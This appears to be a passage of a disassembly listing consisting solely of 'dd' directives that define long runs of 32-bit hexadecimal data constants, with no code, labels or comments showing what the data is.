		dd 170E3B6h, 0EAB4A048h, 2426F4F0h, 0CA0C4E1Ch,	11B39558h
		dd 0BFA700C9h, 4C8956E2h, 554C5BBEh, 19130004h,	0E8B1E1Fh
		dd 56710B7Dh, 9A800FDCh, 0F66EF4CFh, 1574A107h,	80CE55CAh
		dd 0E3013D09h, 0A473F1h, 79F63CAAh, 0D4C8171Bh,	19488B00h
		dd 0BDF30E8h, 70B3ECFDh, 0BF470793h, 8084DABEh,	0EC823D8Eh
		dd 0A54CFB07h, 9BC7C0FDh, 0FA33F760h, 5BD4036Fh, 837AEAF2h
		dd 0EC53FBC1h, 66F49299h, 93DE4500h, 68D63C2h, 501700B7h
		dd 0E8BD61C7h, 0B0134E75h, 5403F32Ah, 9D945499h, 0ABE4FE00h
		dd 72CD41h, 9670AAFBh, 0C795897h, 5631D000h, 0B73B441Fh
		dd 2D2B0FFEh, 0DA80458Ah, 4DAED3DDh, 95DB7900h,	0F991B44Ah
		dd 45AA12A3h, 57F040A1h, 424B559Dh, 5048F00h, 1BCA2CB4h
		dd 92BC018Bh, 0FFADE9ABh, 833CC34h, 46D8B750h, 68016709h
		dd 0FFC2003h, 2331A18h,	4C9FE0DCh, 886039D5h, 0D100BC0Bh
		dd 6E9C4D62h, 59B0E3h, 0A5863622h, 0C84BFAB1h, 3244401Fh
		dd 480C9ED3h, 29BDAE0h,	360BDA99h, 0CC40A4BDh, 0E1001BB6h
		dd 0A43A9CAh, 0EB8778h,	0C06581D0h, 885AE316h, 0D39A4812h
		dd 0C51C4400h, 0CA09C4Eh, 1663145Fh, 15010C19h,	714AF0B8h
		dd 0D020496Fh, 9C9A32h,	8762D7E5h, 434E3011h, 0A8CBA400h
		dd 0B7927C9Ch, 609100C5h, 0D1992BDDh, 9000FB34h, 9F1CFD55h
		dd 0FB7A1F7h, 2ADB388Ch, 0E3730D80h, 0DD00774Eh, 5C3A3266h
		dd 0CF8F5BB2h, 2400A5C8h, 7503B479h, 0DBF5901Ch, 2340EC5Ch
		dd 3625D073h, 0D8C0076h, 0B19E8E5Dh, 0EE9CF82Ch, 0C6B4600h
		dd 1768638h, 0A4873AA6h, 0D041FFCDh, 0A55C6221h, 0A8E341D3h
		dd 6A00AC82h, 0CA6B7591h, 689A4Dh, 28E1DE09h, 80DBF321h
		dd 0B43BD91Fh, 676A4280h, 1411FC5Fh, 0AAA10AF4h, 0BF3930Eh
		dd 14AEB7E3h, 0C76D5EB8h, 0B2123100h, 1B836B5Ch, 43FEB6h
		dd 0CF40BEACh, 27EFD974h, 6823CE0Fh, 0FE5883B8h, 966EC86Dh
		dd 0EC7F01h, 0B311E2EEh, 0E90508DBh, 500C3Ch, 0E455B82Bh
		dd 54A907h, 5CF1F917h, 7D5B706Ch, 0D9F3AD00h, 0FFD35282h
		dd 2F090027h, 0C998919Ch, 810C7BA2h, 1A14E93Dh,	98A87636h
		dd 8C710064h, 418ACFF9h, 0DA583FD6h, 7EC20145h,	0B5B4E08Eh
		dd 1F289830h, 7D112F8h,	55E5B82Eh, 7FF2C06Ah, 0BD00E73Bh
		dd 8F1DC8CDh, 1F2DA1h, 5C5DCC11h, 0AF4A6EEAh, 70EA577Ah
		dd 0B627DE00h, 7ADD2844h, 690D12D8h, 3290407Ch,	0FD8ABA13h
		dd 99C56200h, 0F5117558h, 712B0F87h, 31200448h,	0EC395F20h
		dd 393EFD32h, 4DB6407Dh, 9004E0B2h, 0D171018Ch,	0D5B1FFE5h
		dd 0F95C20BBh, 9C4D503Fh, 0CDF18FBh, 52A1EF40h,	1278B41Ah
		dd 0AFD255h, 7A76E33Ch,	0ED007FB8h, 63E70BBDh, 5C1D446h
		dd 7879DEB2h, 5C80C0CFh, 7E00C845h, 785DCC4h, 3EE5A3ACh
		dd 20128791h, 86A001B4h, 0FCB12B12h, 0E300E7B0h, 878B7436h
		dd 316AE5h, 0CF945C39h,	584260DCh, 0BED5DE00h, 0AC2AA3CEh
		dd 700901A1h, 0C6DF28E6h, 841CD03Ch, 0B5F8F00h,	9BDCDB31h
		dd 0CBDD0062h, 88B347FAh, 0EA00566Ch, 5CD35472h, 74350A7h
		dd 920D8176h, 27C2A0D1h, 0BEE81455h, 7C648A00h,	51575E89h
		dd 0FEE800ADh, 0A1383E81h, 4A0047F7h, 4D52A385h, 5C86C917h
		dd 79004BD3h, 377375BBh, 20000A4Bh, 92521E85h, 1F91215Fh
		dd 0C0EB5CC3h, 0A786AEA8h, 8507BCA1h, 0F9FD413Ch, 0DD26FF20h
		dd 4A50019h, 17C5A4B9h,	79000D7Fh, 0BE3CA31Fh, 242EB64Eh
		dd 0F39E5Fh, 9905EAF5h,	0FA0FC78Ch, 0A44DDEh, 0D2C4664Ah
		dd 0FF3A3DE1h, 1EA7007Eh, 5E39C1FCh, 245CA0AEh,	8C78003Ch
		dd 4F21BB5Bh, 2A3D0E8Bh, 0D6AB70EBh, 870DE585h,	1BA6E040h
		dd 0B0F0BAEAh, 48325500h, 3ECE4DF6h, 2CC1001Eh,	0FE97DB78h
		dd 0B80F759Ch, 0A06F47FFh, 4511F659h, 25A00086h, 745A8868h
		dd 0D700313Fh, 0A7BACFD8h, 90B523FEh, 0E48B00D8h, 0F9201B55h
		dd 0DE004AE5h, 0F75C36D3h, 0CE7698h, 0DB889F49h, 0D504DF25h
		dd 67FDF000h, 0DDAA975Bh, 72894877h, 0F5B94F00h, 0E85CDE01h
		dd 0A46D6B17h, 1A86AD00h, 54B08Bh, 0ED1FE361h, 0E95DC788h
		dd 0F97F8A0Bh, 0BCD40001h, 0BF6A85Fh, 0C2F7FD2Eh, 0E42D7A80h
		dd 7100AD22h, 94AB5489h, 0F2C0EE65h, 57FF0013h,	931224D6h
		dd 261F1645h, 5843D5B5h, 985CB461h, 3C92F4h, 0D3BA38ACh
		dd 5B366E7Bh, 0AEAB7200h, 32263AD5h, 7AB100EAh,	7DD3BBDh
		dd 17001099h, 3390FD85h, 0E5F55Fh, 7CB3D421h, 0DB3C6754h
		dd 0F70008EAh, 263E7BEDh, 40EAF6h, 0FC72F5DAh, 0D0254BDEh
		dd 0AB217500h, 0BEEDCB13h, 98691EAAh, 0B96782C7h, 0B2E20B38h
		dd 22CFAE80h, 6F0F8FA1h, 0DE5DEA92h, 428B3341h,	69D0BE0Ah
		dd 0D4BB0096h, 0B02F5F72h, 101CEB15h, 0EDC09BBDh, 949A50E1h
		dd 894500DBh, 38C25904h, 66F2B506h, 0FFF1E000h,	986A8CADh
		dd 0AF960535h, 0C74F3373h, 1D0CD0FDh, 0FB00B8C7h, 0BC409F65h
		dd 306A508Bh, 0A124D3EBh, 9B0304F1h, 0D8443160h, 48FF99BEh
		dd 0CC2059DDh, 4C7EB7h,	0C68D3912h, 0E0BB1195h,	2985AB1Fh
		dd 0B3FF9130h, 4131DD30h, 0BE2C019Bh, 10D8D393h, 0EDF87DB6h
		dd 0DF00827Ch, 969C2042h, 0F8D409h, 5DD104A4h, 3B4CBEFBh
		dd 0A7A04305h, 0C4802084h, 1B8C5D7h, 0F0350183h, 0CF402C6Dh
		dd 42196900h, 663E5460h, 0C98B3EB4h, 0BE9E4380h, 91D358Fh
		dd 172D8D05h, 54006A25h, 0E03149FDh, 1957561h, 4A943066h
		dd 80B4A1E4h, 0B1B07C20h, 98895BB7h, 770D002Eh,	88F1DEE1h
		dd 6E00109Ch, 0A36C33FFh, 7A822489h, 0BE603845h, 5655AB00h
		dd 4E079205h, 50C088E0h, 0A8E1D5E3h, 7C81CA7Dh,	4718D604h
		dd 31103FA7h, 8971D8Dh,	0A0DE178Ah, 0AC01C168h,	476B66FFh
		dd 59C46433h, 9C013230h, 0B410CA29h, 652788E5h,	899AE988h
		dd 448108B6h, 2284CBFBh, 0A2429062h, 21C08411h,	9EC508FFh
		dd 4C008E91h, 98C7DB81h, 220090F7h, 3B550E69h, 4A066CFh
		dd 7B7EA610h, 5343C0A7h, 7000A3ECh, 12714E94h, 326E09h
		dd 0A39C407h, 0F3D14B3Fh, 0DF00E8E8h, 55F538F6h, 97D6A2h
		dd 0C6F87730h, 8C914404h, 79A4E748h, 7505600h, 30763C37h
		dd 0DEE839h, 0B5D44B94h, 4368FC34h, 9BF09007h, 3BA6099Eh
		dd 609040h, 3E7342B4h, 1521FB4Bh, 0F544E39h, 0E04C707Ah
		dd 5BE74F55h, 89CD4C4Dh, 7D869500h, 39597E9Fh, 3CA66A09h
		dd 0CF04211Ch, 8840F794h, 89843Eh, 10826347h, 7E3CF432h
		dd 2A850C0h, 48FB376h, 523887DFh, 7A009022h, 3E000D15h
		dd 0E893D0F2h, 0E574AA5h
		dd 6A588BB3h, 9AD2ABC3h, 0B5319FE8h, 8E5F203h, 0B8683E3Bh
		dd 8C0C61h, 0AE4B6BAFh,	17279FD3h, 4FA93D00h, 0C8E5C756h
		dd 0CF1B0F0h, 9D8C59E7h, 1400EB10h, 21746266h, 7539DEh
		dd 52EFD82Dh, 4179BEECh, 80F61D18h, 305F1C8h, 0D4316EF4h
		dd 37D09DC3h, 0E4006D8Eh, 4DBB224h, 115261Fh, 351E9D2h
		dd 0D0CA177Fh, 9B001AF7h, 52590590h, 2C1C62h, 7F0A2B6Eh
		dd 0A535CC61h, 9EE7D000h, 0B3A68DBBh, 0DEFD1ECAh, 0C063DD6Ah
		dd 0B542A13Fh, 53008F5Ah, 0CA64E82Ah, 5C2E3Bh, 4F6B3999h
		dd 0CDE63CEFh, 6C031600h, 7788A35Dh, 0DE6F005Bh, 4D55E9D6h
		dd 0D338AD7Fh, 3B98542Dh, 916BF00h, 0F7A38A18h,	0FDD72665h
		dd 93020097h, 53B3E08Dh, 894D2C00h, 490E903Eh, 0BD2500EFh
		dd 0E18235F0h, 931432B0h, 11E4DE68h, 1A212AB2h,	605DF341h
		dd 0E2F3820h, 46393C17h, 0E0E2F4A0h, 0C5004220h, 0CA5288E5h
		dd 0EE08A2h, 40372676h,	57E93C3Bh, 0CF89E600h, 17A2F5F0h
		dd 0A9CE0A18h, 1CC951Eh, 114C2364h, 67A08008h, 0FB8F87C3h
		dd 0D9F05E7h, 3F822Eh, 1766ADD4h, 0C07ABEB1h, 0A783AC0Eh
		dd 0ED401D75h, 0F2AD38BCh, 0FCF3E8A1h, 96F41333h, 3D00BF4Dh
		dd 776AE0C5h, 0CF6F1439h, 0FF24ECB5h, 0ECA815B0h, 407EAE00h
		dd 3E071A46h, 0DF6D5B03h, 88F361D9h, 3C0986F2h,	9183E78Ah
		dd 1EF4FE4Ah, 6EC513D0h, 0A3AFE90Fh, 764C678Fh,	40F3CFB1h
		dd 0C8102DF5h, 86B97Bh,	36044B2Ch, 2EC5733Fh, 0CC152900h
		dd 0AA3A61B6h, 2C0CF019h, 0C20A13h, 411C4BE4h, 0C8008373h
		dd 178D95E7h, 3C88D2h, 963D89AAh, 78C974B0h, 0A16CBC07h
		dd 1F800A70h, 0A00F7B79h, 10BE7D9h, 0FDA69FBBh,	0C87F6E04h
		dd 35004A1Ah, 8BB26645h, 437CB9h, 26574488h, 0B67EC7C0h
		dd 6AC99B00h, 5548ED6Fh, 67250016h, 22D6ADFCh, 0DA00A0E2h
		dd 0C9060B4Ah, 30E6B09Bh, 5A3853CAh, 0AF0078E3h, 25811882h
		dd 59D2E7h, 0F672BF3Ch,	7F831274h, 0A190CE00h, 3FB92D4Dh
		dd 87CC00C1h, 0AA0B7B27h, 9C48575Dh, 80FA3B91h,	4C8298A8h
		dd 0D3C173h, 48541119h,	0B3EF873Eh, 5E5F3200h, 0BFE3A2C6h
		dd 809B0018h, 0CC0A6888h, 2001DADBh, 0EADE86B7h, 9131A14Bh
		dd 0B2F145E0h, 250506B4h, 28E2FD91h, 68F802F6h,	4A888700h
		dd 408583AEh, 123498C9h, 4F087376h, 0D8941E80h,	45810C72h
		dd 65116937h, 0A8AD9A01h, 882AB5A2h, 25F4FC4h, 46773413h
		dd 95806F63h, 0EC3B38A6h, 755D5504h, 408092EFh,	7366Eh
		dd 0FFC0DA78h, 999F2E9Bh, 0BA8CAE00h, 4BC9C4B1h, 501916A0h
		dd 3900FA09h, 0AE825CCEh, 62EF3B29h, 36833780h,	0EB20FC6h
		dd 696C8512h, 0BA084002h, 0E84406h, 36FDC50Ah, 14092E9Ch
		dd 0BAD48A00h, 0A863A5C6h, 8FA60051h, 4E205D44h, 590BAE04h
		dd 811BC4F5h, 0A331FEC6h, 0F64B10CCh, 0D49C00D9h, 0AA474A0Ch
		dd 0DAFABDE3h, 8C6D5201h, 23EACA11h, 6609D0h, 0B3D2F0F6h
		dd 1C3B2FA3h, 70003D7Ch, 0A0073344h, 5B0D0Ch, 0C8FCA2A1h
		dd 0D71D69F7h, 63418F00h, 8AF583D1h, 0A6C20095h, 87AF070h
		dd 88007DBCh, 779AE3C1h, 241409Fh, 7339D0F9h, 0E1800B4Bh
		dd 1510410h, 8062B93Bh,	6D14AF92h, 48DE5FAEh, 7FC0B4FAh
		dd 1B8B18D4h, 2D8DA0Ah,	468FC8A7h, 32308016h, 1F53363Fh
		dd 0D1D045h, 0BECAEA2Bh, 0BF018221h, 0F6D2F9DEh, 0BE837ECh
		dd 0E1A60EBDh, 96409BA7h, 79E6144h, 8D58FA08h, 732080F4h
		dd 0DFEAABEh, 850B6A7Eh, 7549F9BAh, 0EA466580h,	40928E95h
		dd 24379D3Dh, 76024C01h, 40235AE4h, 5FCEFCh, 8F9A3215h
		dd 905BBA7Bh, 0AD9C8C1Dh, 1034E880h, 585D7185h,	520ED81Ch
		dd 40722763h, 3CBDCF1Ch, 0CC02BF2Eh, 555A7BCAh,	97E086ADh
		dd 0ECEB0B31h, 76011167h, 0D472A88Eh, 0C600682Ah, 9CC21063h
		dd 4307C9Ah, 6D8B6B9Fh,	0A610C04Bh, 8490DCB5h, 0DB875B18h
		dd 4A4EF4C0h, 60D3C06Ch, 6390D414h, 5500F690h, 9145AF1Ch
		dd 12E9E18h, 411F102Ah,	0F4210CFBh, 55EEB819h, 7A17EF03h
		dd 0C88F9B68h, 60F4E758h, 789E1842h, 0CD770B5Ch, 3AE1DC3Ah
		dd 8B401736h, 4FE66403h, 1FC40278h, 37653317h, 0CB4BAAE0h
		dd 1F9E2A24h, 99B19800h, 0E40CD672h, 0DD74005Fh, 0BA068246h
		dd 5B00B647h, 1B2EBF81h, 5095ED78h, 1C0E068h, 4E1C9153h
		dd 0C9F2791Eh, 0F4FBF054h, 94C70A00h, 0C6CFB8A4h, 3BD7A9Ch
		dd 5CBCB9B0h, 60D71F26h, 37FB49F0h, 5B42F600h, 9BE093EAh
		dd 1FAB3AA5h, 8876E984h, 73CAC059h, 0BF008E0Dh,	4AB1EC51h
		dd 0C0A69982h, 23BB8A19h, 72FE95C2h, 80D59D3Ch,	0D48542FCh
		dd 0ED356Fh, 1DF52498h,	0D79A91A7h, 36721100h, 12DE7C59h
		dd 0E4D40027h, 0DFBCB2FFh, 530390CDh, 8997A01Fh, 0B94F0C5h
		dd 998E2C54h, 446500D0h, 32AE95FEh, 19277500h, 84A1B092h
		dd 0F2390F3Fh, 0EA6006E2h, 80F5B920h, 2CBAE100h, 0DABD95B8h
		dd 8EF40762h, 0C0670C33h, 83F61F4Dh, 4A9F100h, 0E071A75Fh
		dd 197E0969h, 28090533h, 83EDB800h, 0AD0BA9E2h,	597C99h
		dd 0A05B52CCh, 1747491h, 213AC3E9h, 212240C5h, 0FE384007h
		dd 0B300CA9Dh, 3F9AAAEDh, 568E99h, 0ABDCA988h, 63C91A89h
		dd 0CE64EE00h, 0BB705C82h, 0F63500D6h, 6E441D9Fh, 0BA008999h
		dd 5697745Eh, 7D728871h, 1E274AA6h, 9905E190h, 72C0F5FFh
		dd 33A7F57h, 2D8625C4h,	0C0CC659Eh, 927262F8h, 33935512h
		dd 0B706AC00h, 7CB0A58Dh, 0A0560182h, 0D763420Dh, 9981C4EAh
		dd 0DDE70401h, 1D622231h, 447FCCh, 828A3DD6h, 9FE17738h
		dd 251A023Eh, 0FB8809Eh, 28092AB9h, 99C9921h, 0ED849A3Ah
		dd 7E58D780h, 5301BEF9h, 0E2F015Eh, 52E54304h, 9B8019BDh
		dd 48868A34h, 39002418h, 0E88B0BF7h, 0E9D04F2h,	0BBC96DE9h
		dd 0E6D22DC3h, 64586000h, 458A0F7Ah, 34B4007Dh,	0FB4AC4FCh
		dd 5030213h, 0D5AB2654h, 0C8C0C809h, 49DC00DFh,	239A40B1h
		dd 62F070F6h, 0A03B901h, 0CFA0D8E9h, 0A307A833h, 0DECC7D97h
		dd 649AA782h, 0B5F8D4C8h, 52BBD60Bh, 32EC80EAh,	0E28CAE2h
		dd 15843A8Bh, 1B4E40FEh, 0E887FDAAh, 580F9CB0h,	258F85BAh
		dd 70C87F5Bh, 1DFF1D1Bh, 0C0C09CDFh, 18096CF6h,	363E6A48h
		dd 0A2F4000Fh, 7DA5F056h, 0C03C18D4h, 178AF89Ah, 33226F01h
		dd 0B2B42BD5h, 0D0E5FEh, 1937F70Fh, 3500F0FDh, 8BB0336Eh
		dd 1F3D793h, 43919705h,	70F2C7EFh, 383B1F24h, 5BB480E9h
		dd 8F63A4FBh, 399409EEh, 0E487ACF3h, 0C2BA0D6h,	9E000562h
		dd 0DF4C8FA2h, 1E4FF4Bh, 0F3FA1EBCh, 20373842h,	7E009CECh
		dd 3D271856h, 17FD114h,	5C7F235h, 0F8E7DFFAh, 0B91CB691h
		dd 6B830BC1h, 0DBA14FA9h, 0B8FFA878h, 59BF0039h, 190D2EEh
		dd 0EB26B1E6h, 970E4C9Eh, 1EBAA94Fh, 0A60D0434h, 0E0AE64A7h
		dd 0D7009948h, 0E342EB82h, 7BDA72EAh, 1F69EE6Ch, 1F3D43h
		dd 2AA39BA9h, 7809AC64h, 702D34Dh, 490EC00Ch, 74C8004Eh
		dd 1B5CD8Ch, 0D79C865Bh, 800520A2h, 271125E8h, 3704E807h
		dd 819131CCh, 64E6FB14h, 5000039Ch, 62F746E8h, 984B13D9h
		dd 11150FD0h, 0C4802D7Bh, 1980674Fh, 3412AB00h,	315B3799h
		dd 70EF0349h, 5979FAB1h, 0C05C1100h, 0D07E07EEh, 0C660075h
		dd 3887D33Fh, 7F4870C2h, 2400050h, 0E154072Fh, 386D6921h
		dd 1FED0880h, 0CE071EB9h, 4D026C7Bh, 0FCE0C854h, 0F201022Dh
		dd 0C1CC51C4h, 0A2EE7D60h
		dd 828F8C00h, 2EA52877h, 7C6500A6h, 162236DBh, 250093D8h
		dd 6E525398h, 0CD19D4h,	4285484Fh, 4780AD91h, 0F1E8CF07h
		dd 2320600Ah, 7A151ACh,	5F03C792h, 0AD4EF0C2h, 0CE00FF83h
		dd 0B9EF737Ch, 208A893h, 0FDDA1FB8h, 0D4E04AE1h, 0D60BD86Ch
		dd 80F40951h, 0CCB4DDDBh, 0EF240BAEh, 0F400A774h, 1DDC3486h
		dd 8CED6A00h, 1941819Fh, 32FF007Dh, 37133CE3h, 6E007303h
		dd 0C4282123h, 0A6AC43h, 29FB4853h, 97244088h, 0F1F5F400h
		dd 91EB0E1Dh, 814BEEh, 0A2FA3BF8h, 0B01F3D5Eh, 1F4037A5h
		dd 134CB9FFh, 0C970319h, 16B10A71h, 0D92F74D0h,	5C8D100h
		dd 0AFE2E4FBh, 97B70090h, 0CA1639B5h, 0A213AC82h, 9C018F50h
		dd 0E486676h, 63D40FE5h, 1200075h, 0FAFBDB69h, 9300D18Eh
		dd 42E9A0E8h, 6FCC6h, 76CD644Eh, 77AA36B2h, 7E54E600h
		dd 48CBD7EEh, 6CC52EFDh, 43D00010h, 7D0316AEh, 0F8008278h
		dd 0EC489AEEh, 24675041h, 8E60124Fh, 97E6A7h, 0FFEBF8E8h
		dd 17006E71h, 0F9E295B9h, 504D9BBh, 0C8A66BD4h,	13409058h
		dd 6C00A8CDh, 4FD309CBh, 19928A4h, 490F2DA9h, 0C865026Ah
		dd 0D016DC6h, 22092169h, 3C811E2Eh, 0F671A548h,	0C1402062h
		dd 0B8EF8400h, 0D92C8B9Eh, 97A600EBh, 6F7EFCBDh, 0F100CA94h
		dd 2F290E46h, 5C051Fh, 156B53Fh, 854F221Ah, 8E49350h, 42EF3C00h
		dd 0F34D4EEAh, 7B70008Ch, 72696B6Dh, 9F004932h,	90B5FB3Ah
		dd 34ED422h, 18E2F411h,	0F0AE370Ah, 0F0CE33Eh, 0E5854042h
		dd 1FC0322Bh, 166F3CAEh, 4847336h, 802969ACh, 0ECFEF60Ch
		dd 0F1DA7E00h, 0DBF708C0h, 2B97970h, 0A1A9CA17h, 98A04361h
		dd 15444A5Ah, 80135638h, 3C2B6927h, 0CF7F4Dh, 0E635A226h
		dd 1695B4E4h, 6AF8D200h, 4AC9605Ah, 0B60200BEh,	8D50925Bh
		dd 0C73B2A53h, 63F19484h, 0A7E439F4h, 0BDEC18B2h, 112907D9h
		dd 30B8D782h, 9F13316Bh, 5E042F0Ch, 50DC8842h, 0F97DE0CEh
		dd 58243571h, 0E7B07B1h, 802D7CF0h, 80F3DA3Ah, 0EE383401h
		dd 49EB264Ch, 51022880h, 0B56958ADh, 2FA66100h,	0B999D7E4h
		dd 466300A5h, 0E7D15C4Ch, 0ED04C5D2h, 7C806224h, 0EFBC01C0h
		dd 761A00BDh, 7FE9020Fh, 4B007985h, 0CC39DDAh, 0C8DF2Eh
		dd 3A7BD7A5h, 51966720h, 0AFC07D00h, 8C0BBFA7h,	7B567391h
		dd 68E00CFh, 0A8D0AAECh, 0B900C7BAh, 0E514ACFCh, 2454EA6Bh
		dd 1F6E602h, 0DCD8112Eh, 16B9ECD1h, 912F9B00h, 892673D0h
		dd 689A2A44h, 97B517D4h, 32250BF1h, 0E5F9A300h,	0FB007C5Ah
		dd 8B765684h, 16CFECDh,	0CBB7F546h, 601A6BD7h, 0A23DED2Bh
		dd 3B8183B1h, 0F8B0645Bh, 792A178Bh, 0DB870059h, 0D93268E6h
		dd 0A000D67Ah, 9818D228h, 664103h, 198E9DB9h, 7F059E80h
		dd 8E6DD0Eh, 80C98E6Fh,	83583686h, 0F28C392h, 3078BD8Eh
		dd 0A3A13C0Eh, 81D12E3Eh, 8FB44F3Ah, 0A299C8F3h, 9454012Dh
		dd 3C0ADC3h, 0D24C304Dh, 84D3E90Bh, 5C9F809Eh, 930DFBh
		dd 1B673A09h, 0E6DEEA7Ah, 379E8500h, 8219DD47h,	0E5BD1F46h
		dd 79A158D2h, 0D60058B6h, 0BA3B8418h, 31F035h, 3A0F4683h
		dd 9E7F1365h, 2B928C2h,	1D708044h, 0F9DBBEEDh, 0E6DC0880h
		dd 0CE179E7Dh, 181CD3Bh, 260B0D52h, 85C4D3A1h, 9D7A0099h
		dd 0FAA8546Eh, 6B0FFBE7h, 8F239F8Eh, 0C5F2A0D4h, 9041A559h
		dd 7986984Dh, 10AA0969h, 6C03DF6Ah, 880182C9h, 4209AB43h
		dd 86FCB973h, 0F5E507F2h, 0A0EA69E0h, 8843902h,	3912B03h
		dd 3F1CD54Eh, 7B0612B0h, 10CEA696h, 993C6518h, 0FA09F2D9h
		dd 251000F0h, 9BA2800Ah, 1100E98Ch, 24F7BA49h, 0C6E778h
		dd 3628D5EAh, 27FD7182h, 0A22EED1Fh, 8BCE6F00h,	0E37399h
		dd 60CF10D7h, 290A2DFCh, 0F676C412h, 0F4BEF00h,	7DB59440h
		dd 0A47B0EFAh, 7FA09DB1h, 0F5C00C2Fh, 0ED79111Ch, 7CFFD7C0h
		dd 142A46Ch, 7661BBA2h,	0D017E1C1h, 603FE40Ah, 70B98044h
		dd 0B2EBD2CEh, 9E1A07F7h, 0C08BCF55h, 9B13A139h, 0BEBCA400h
		dd 5B095E3Eh, 49F93D97h, 0C0E19E1Eh, 0E0ED948Ch, 0B400A274h
		dd 23269204h, 0BC1A99h,	0C0A8158Dh, 5BC44966h, 0ECB6EB07h
		dd 1C407525h, 3F395Ah, 42CB9557h, 41F459CFh, 0B73C08C6h
		dd 27190020h, 62F08F57h, 8D002FC1h, 0C7C48A02h,	6732ADh
		dd 0A0B8056Eh, 1B3A6436h, 35ACF018h, 203FE18h, 6006595Dh
		dd 10805238h, 6E7ECFA0h, 0A82081D8h, 33584088h,	3BEDBF18h
		dd 181C2440h, 298A70ADh, 1600FD17h, 79E705FCh, 0C6F00D74h
		dd 201B7F08h, 16E44E00h, 0E6433948h, 1971616Bh,	0D4DA4474h
		dd 30078EFh, 4B078562h,	0E07A6660h, 0FBD3008Ah,	0C9B712F6h
		dd 88C3318Ch, 1786CBAh,	0E2894679h, 0DC6EA730h,	2F07EA0Ah
		dd 95887539h, 0B638815Eh, 0B0831369h, 0CC41DF33h, 5B03E000h
		dd 7C1F803Eh, 65691FE2h, 0CF9DC027h, 119A59D4h,	0ED67B900h
		dd 1D462C66h, 0A3330124h, 0BF13AD92h, 600BEC0Fh, 0FCB77200h
		dd 44256D5Ah, 0D499003Ah, 0B0F3A988h, 78002DC4h, 68FF1E45h
		dd 3F71863Ch, 97C35A1h,	51B9D966h, 60486401h, 1437F01Ch
		dd 9EEC083Bh, 0D7004F6Bh, 652A763Ah, 1F7F79E5h,	0C380A0h
		dd 0F4742DE8h, 200261A7h, 1A65473Fh, 46460FCh, 7D62000Eh
		dd 53FAE049h, 90903FC7h, 0AD014E00h, 0A5EF6945h, 0DE9B005Ah
		dd 0DF389FB7h, 280060FCh, 0F625C5EAh, 7654C14h,	7F5FEF54h
		dd 0E04B80D0h, 81E499Eh, 0A07A39Dh, 46818EF6h, 0D971926Ah
		dd 80138002h, 55F1B404h, 1A2F814h, 58E5D5BEh, 0C4350F73h
		dd 0DF0EAD60h, 0A00D7A9Ah, 0C212AC5Fh, 0D3A331A2h, 113C1B29h
		dd 23119C5Ah, 0C9A411A6h, 2882D712h, 17229699h,	40A25ABh
		dd 48344314h, 211B4415h, 5F12CE5Bh, 8998B110h, 840C080Fh
		dd 923C6B50h, 44D38544h, 12E718AAh, 64148267h, 40C7249Eh
		dd 9D7834FEh, 57C40730h, 0EE93806Ch, 9521D3C0h,	0B8002790h
		dd 0B676C5CFh, 0B874A2Ch, 51FBDD9Dh, 7C2381C0h,	0F4182700h
		dd 0BD1270DFh, 5D1F1355h, 562000ECh, 8E342CDDh,	72000B7Bh
		dd 82FF20A2h, 2C5D3751h, 2CA506h, 1418614Ah, 0A000813Fh
		dd 730238CCh, 0FD96EEh,	0BEB3FA43h, 87E14B04h, 0A925630Eh
		dd 0E3B7F61h, 4ABDA75Fh, 2C80F801h, 193985A0h, 0EFF40948h
		dd 4E006F09h, 36D927BCh, 79580700h, 6DCB184Fh, 8FE100C0h
		dd 0C45A889Fh, 211F4A9Ah, 37EEF66Fh, 2AFC9500h,	0D2535Bh
		dd 0A2EE7140h, 694F4EBCh, 0BDBE111Dh, 3D79B5D8h, 0F074A3DAh
		dd 1E23E57Ch, 9D4884D2h, 69CBFh, 0D093FA5Eh, 6C006394h
		dd 0B1D58FA9h, 6D7A81h,	0F42D85BFh, 19A39605h, 0E7DD921Fh
		dd 82E6AF00h, 70E3DB4h,	3B502ACCh, 0B0AD61B7h, 4006E59Ch
		dd 46ECEE9Ch, 0B437D200h, 0CE3476B3h, 0BF0F1CF9h, 58B10103h
		dd 0E4C5714Ch, 407D2C2h, 0C69416AEh, 918D2600h,	0C8B00068h
		dd 0D69795A9h, 0F7002D1Bh, 908A10B3h, 35818ACh,	709E44CBh
		dd 6C3D1B6h, 3D4BC688h,	61326E00h, 587CCBBh, 40DD0063h
		dd 0D6641366h, 0EF00C8A5h, 3F785D86h, 0EE4C36h,	9A34C554h
		dd 50E59CA0h, 56C12403h, 0E8F03FCFh, 391E5312h,	0FE6E01h
		dd 0F615CC6Bh, 0FCC8BD3Ch, 63B6401h, 759A9B2Bh,	0E24DF4h
		dd 86FBE648h, 274BCA16h, 591AE00Eh, 54932079h, 0F4466912h
		dd 0A7550550h, 0C0398B64h, 52EEE375h, 42650102h, 400EC4ADh
		dd 3EB7700h, 0FEE541B7h, 0F1C1A102h, 0E7682013h, 70EC10C1h
		dd 0B02A4F30h
		dd 891E8AAFh, 0EE81AA81h, 48C61614h, 85102989h,	6601B9DEh
		dd 512DC828h, 0E14834h,	0B4B1B75h, 0E202FF8Bh, 28D9221Ch
		dd 1E3620C0h, 1FF12940h, 0C0A38A90h, 52AEA66Dh,	0F40033C2h
		dd 405B0515h, 378B7Dh, 0A16EE27Bh, 0B83B2B12h, 0A0FFE007h
		dd 0D74065F6h, 1DC9FC70h, 0C0CAB462h, 6DED9327h, 2FFCEA05h
		dd 0A55870E1h, 0FC33Fh,	0C24AF223h, 7CA2A7Eh, 0CCF45393h
		dd 462F50BFh, 0B601E07Bh, 0E10D7518h, 0F6CCB49Dh, 32AB1E79h
		dd 0DD7EC0C7h, 8D4935C6h, 0A6C4C301h, 91BEAF7Dh, 7531F086h
		dd 0ED009E9Bh, 6490E86Bh, 3E4FB338h, 0FB000C0Dh, 86F1B035h
		dd 0AD036877h, 63B97696h, 40068A46h, 5CA0A4h, 4C74A8ACh
		dd 0DA81C49Ah, 8083433Bh, 5D93C1A6h, 0F7776h, 538909B6h
		dd 44CFE6AEh, 85B27F00h, 60DBF796h, 0F228EAA3h,	4020DF54h
		dd 34E5C4E3h, 1300D68Ch, 62DBC9C7h, 0B7DF979h, 0AC7B6CECh
		dd 8903E2FEh, 9CA96A14h, 8FFD20C1h, 77E4E8h, 0B582C696h
		dd 9220C042h, 6CED4102h, 60DB4A1Ah, 7668E31h, 13A0A8D6h
		dd 199540B6h, 94048B28h, 693EF5B1h, 72631C80h, 590E072Dh
		dd 302C07EAh, 6E44E5A8h, 0B6FF9100h, 45F35F2Fh,	63CF0090h
		dd 28E9293Dh, 0CD0057F6h, 58F27734h, 0E2A8B2h, 0ED809D12h
